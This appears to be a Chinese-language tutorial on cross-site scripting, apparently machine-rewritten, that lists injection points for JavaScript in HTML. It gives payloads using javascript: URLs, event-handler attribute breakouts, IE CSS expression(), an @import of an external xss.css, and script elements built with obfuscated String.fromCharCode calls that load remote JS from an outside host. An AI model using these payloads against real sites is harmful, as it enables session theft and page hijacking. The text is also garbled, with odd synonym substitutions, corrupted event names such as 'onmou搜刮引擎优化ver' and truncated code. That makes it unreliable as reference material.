1、html可以履行javascript的处所有哪些?
先举个例子好比这个代码
1f4ck
变量$a可控,如何让这个代码弹框(履行javascript代码)呢?
(1)属性值引进javascript:[code]伪和谈,来履行javascript代码。也就是$a=javascript:alert(1)
只有援引文件的属性才能触发javascript脚本,这些标签有:
href
action
bgsound
background
value
dynsrc
lowsrc。
1
2
3
4
5
因为这些属性值不是通用属性,所以会在不合的标签中,假定在火狐上测试不成功请在ie下测试,我用ie6测试是成功的。
(2)"闭合前一个属性值,引进事务驱动属性。事务驱动属性的值是javascript代码,所以可以履行javascript。事务驱动属性是标签的通用属性,所以所有标签都可以用。也就是
1$a="onclick=alert(1)
2如许的事务驱动属性标签还有:
ondblclick
onmousedown
onmouseup
onmou搜刮引擎优化ver
onmousemove
onmou搜刮引擎优化ut
onmousepress
onmousedown
onmouseup
1f4ck
(3)闭合标签,引进
(4)CSS可以经由过程expression属性履行javascript代码
expression是ie独有的css属性,其目标是为了插进一段javascript代码。
1
在ie6下履行成功。
1@import"http://www.91ri.org/xss.css";
可以从外部导进存在xss代码的css样式。
假定css属性可控,除可以在expression后面添加javascript代码履行外,还可以像(2)(3)一样经由过程闭合标签和属性值来达到履行javascript的目标。
乌云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss
综上,可以在html里履行javascript的处所有
1、操纵javascript:在属性值里2、事务驱动属性3、
标签中(包含这类情势
浏览器会在html页面加载时,额外向办事器发送要求,注:这里是html标签的特点,不要和同源策略相混合,同源策略是用来限制浏览器的。
加载进来的js和本域是同源的。
哪些标签可以长途加载外部js,并履行呢?
1、
1 2s.src="http://www.91ri.org/xss.js"; 3document.getElementsByTagName("head")[0].appendChild(s); 直接用3用于 viewsource 1
2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116)); 3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); 4b.src=‘hook.js'; 5a.appendChild(b);">